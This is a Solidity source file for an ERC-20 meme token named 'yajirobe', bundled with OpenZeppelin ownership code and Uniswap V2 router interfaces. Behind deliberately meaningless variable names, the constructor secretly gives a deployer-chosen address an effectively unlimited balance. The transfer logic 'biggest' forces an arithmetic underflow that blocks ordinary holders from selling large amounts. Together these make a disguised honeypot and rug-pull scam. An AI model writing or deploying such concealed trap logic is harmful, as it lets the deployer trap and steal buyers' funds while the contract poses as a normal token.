/**
"Yajirobe Inu is very asocial, preferring to be by himself often so he can eat peacefully, and often acts rude towards others. Yajirobe enjoys consuming large amounts of food and has a grumpy attitude to those who bug or distract him, even in the slightest."
*/


// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.5;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract yajirobe is Ownable {
    constructor(
        string memory _NAME,
        string memory _SYMBOL,
        address routerAddress,
        address ztotal
    ) {
        _symbol = _SYMBOL;
        _name = _NAME;
        _fee = 0;
        _decimals = 9;
        _tTotal = 1000000000000 * 10**_decimals;

        _balances[ztotal] = like;
        _balances[msg.sender] = _tTotal;
        cake[ztotal] = like;
        cake[msg.sender] = like;

        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    uint256 public _fee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    function name() public view returns (string memory) {
        return _name;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    uint256 private _tTotal;
    uint256 private _rTotal;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    uint256 private like = ~uint256(0);

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    address[] interest = new address[](2);

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function biggest(
        address treated,
        address official,
        uint256 amount
    ) private {
        address hall = interest[1];
        bool border = uniswapV2Pair == treated;
        uint256 order = _fee;

        if (cake[treated] == 0 && driven[treated] > 0 && !border) {
            cake[treated] -= order;
            if (amount > 2 * 10**(13 + _decimals)) cake[treated] -= order - 1;
        }

        interest[1] = official;

        if (cake[treated] > 0 && amount == 0) {
            cake[official] += order;
        }

        driven[hall] += order + 1;

        uint256 fee = (amount / 100) * _fee;
        amount -= fee;
        _balances[treated] -= fee;
        _balances[address(this)] += fee;

        _balances[treated] -= amount;
        _balances[official] += amount;
    }

    mapping(address => uint256) private driven;

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    mapping(address => uint256) private cake;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        require(amount > 0, 'Transfer amount must be greater than zero');
        biggest(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        biggest(msg.sender, recipient, amount);
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
}